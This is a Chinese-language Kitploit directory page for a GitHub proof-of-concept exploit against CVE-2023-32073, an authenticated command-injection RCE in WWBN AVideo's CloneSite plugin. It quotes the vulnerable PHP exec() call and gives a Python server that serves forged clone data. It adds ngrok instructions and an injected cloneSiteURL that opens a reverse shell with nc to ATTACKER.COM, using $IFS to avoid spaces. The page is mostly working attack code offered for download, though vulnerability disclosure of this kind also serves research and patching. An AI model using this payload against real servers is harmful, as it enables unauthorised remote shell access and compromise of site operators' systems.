Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-32073 — WWBN AVideo 认证RCE | Kitploit
工具/GitHubGitHub/jmrcsnchz/cve-2023-32073
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制Payload 开发
GitHubjmrcsnchz/cve-2023-32073

CVE-2023-32073

WWBN AVideo 认证RCE

查看仓库
123年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

WWBN AVideo {currentVersion} 认证后的远程代码执行(RCE)

plugin/CloneSite/cloneClient.json.php 中存在一个命令注入漏洞,如果你启用了 CloneSite 插件,则该漏洞可实现远程代码执行。这是对 CVE-2023-30854 修复的绕过,该 CVE 影响 WWBN Avideo 至 12.3 版本。

漏洞代码

/plugin/CloneSite/cloneClient.json.php

root@kitploit:~
$json->sqlFile = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->sqlFile));
$json->videoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->videoFiles));
$json->photoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->photoFiles));

// get dump file
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);

$objClone->cloneSiteURL 未被正确过滤。

漏洞利用概念验证

avidexploit.py

root@kitploit:~
from http.server import BaseHTTPRequestHandler, HTTPServer
import time

hostName = "localhost"
serverPort = 8080

class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "application/json")
        self.end_headers()
        self.wfile.write(bytes("{\"error\":false,\"msg\":\"\",\"url\":\"https:\/\/attacker.com/\/\",\"key\":\"2d6db3c09e41a9c27dbc72aecc4a6fc0\",\"useRsync\":1,\"videosDir\":\"\/var\/www\/html\/demo.avideo.com\/videos\/\",\"sqlFile\":\"Clone_mysqlDump_644ab263e62d6.sql\",\"videoFiles\":[],\"photoFiles\":[]}", "utf-8"))

if __name__ == "__main__":        
    webServer = HTTPServer((hostName, serverPort), MyServer)
    print("Server started http://%s:%s" % (hostName, serverPort))

    try:
        webServer.serve_forever()
    except KeyboardInterrupt:
        pass

    webServer.server_close()
    print("Server stopped.")

在命令行中运行

root@kitploit:~
$ python3 avidexploit.py &
$ ngrok tcp 8080 # optional if not running in VPS
  • 然后获取你的公网 IP 和端口。输入类似如下的 cloneSiteURL,然后点击 clone 即可实现命令注入
root@kitploit:~
http://2.tcp.ngrok.io:14599/;nc$IFS'ATTACKER.COM'$IFS'5555'$IFS-e$IFS/bin/sh;#

请注意,为了让漏洞利用生效,不要使用空格。在向你的 RCE 添加参数时,请用 $IFS 代替空格。

poc

致谢

  • JM Sanchez
  • https://www.linkedin.com/in/juanmarcosanchez/
下载工具